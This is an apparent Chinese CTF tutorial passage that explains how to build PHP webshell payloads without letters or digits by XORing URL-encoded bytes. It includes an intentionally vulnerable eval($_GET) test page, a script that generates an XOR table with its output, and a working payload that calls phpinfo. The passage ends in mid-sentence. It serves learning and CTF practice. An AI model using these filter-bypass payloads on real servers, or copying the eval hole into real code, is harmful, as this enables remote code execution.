本文首发于“合天网安实验室” 作者: zoey
前言
在CTF中,虽然有很多文章有这方面的资料,但是相对来说比较零散,这里主要把自己学习和打ctf遇到的一些绕过字符数字构造shell梳理一下。
无字母数字webshell简单来说就是payload中不能出现字母,数字(有些题目还有其他一些过滤),通过异或取反等方法取得flag。
本文涉及知识点实操练习-使用base64与deflate对webshell编码
https://www.hetianlab.com/expc.do?ec=ECID172.19.104.182014050616024000001&pk_campaign=toutiao-wemedia
测试源码
<?phpif (!preg_match('/[a-z0-9]/is',$_GET['shell'])) { eval($_GET['shell']);}//如果shell中不还有字母和数字,则可以执行eval语句
异或绕过
异或的符号是^,是一种运算符。
1 ^ 1 = 01 ^ 0 = 10 ^ 1 = 10 ^ 0 = 0
异或脚本
<?phpfor ($i=128;$i<255;$i++){ echo sprintf("%s^%s",urlencode(chr($i)),urlencode(chr(255)))."=>". (chr($i)^chr(255))."";}?>
运行该脚本我们知道
%81^%FF=>~ %82^%FF=>} %83^%FF=>|%84^%FF=>{ %85^%FF=>z %86^%FF=>y%87^%FF=>x %88^%FF=>w %89^%FF=>v%8A^%FF=>u %8B^%FF=>t %8C^%FF=>s%8D^%FF=>r %8E^%FF=>q %8F^%FF=>p%90^%FF=>o %91^%FF=>n %92^%FF=>m%93^%FF=>l %94^%FF=>k %95^%FF=>j%96^%FF=>i %97^%FF=>h %98^%FF=>g%99^%FF=>f %9A^%FF=>e %9B^%FF=>d%9C^%FF=>c %9D^%FF=>b %9E^%FF=>a%9F^%FF=>` %A0^%FF=>_ %A1^%FF=>^%A2^%FF=>] %A3^%FF=> %A4^%FF=>[%A5^%FF=>Z %A6^%FF=>Y %A7^%FF=>X%A8^%FF=>W %A9^%FF=>V %AA^%FF=>U%AB^%FF=>T %AC^%FF=>S %AD^%FF=>R %AE^%FF=>Q %AF^%FF=>P %B0^%FF=>O%B1^%FF=>N %B2^%FF=>M %B3^%FF=>L%B4^%FF=>K %B5^%FF=>J %B6^%FF=>I%B7^%FF=>H %B8^%FF=>G %B9^%FF=>F%BA^%FF=>E %BB^%FF=>D %BC^%FF=>C%BD^%FF=>B %BE^%FF=>A %BF^%FF=>@%C0^%FF=>?
通过这种方法构造一个phpinfo()函数
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo//${_GET}{%ff}();&%ff=phpinfo我们知道,经过一次get传参会进行一次URL解码,所以我们可以将字符先进行url编码再进行异或得到我们想要的字符。 %A0^%FF=>_ %B8^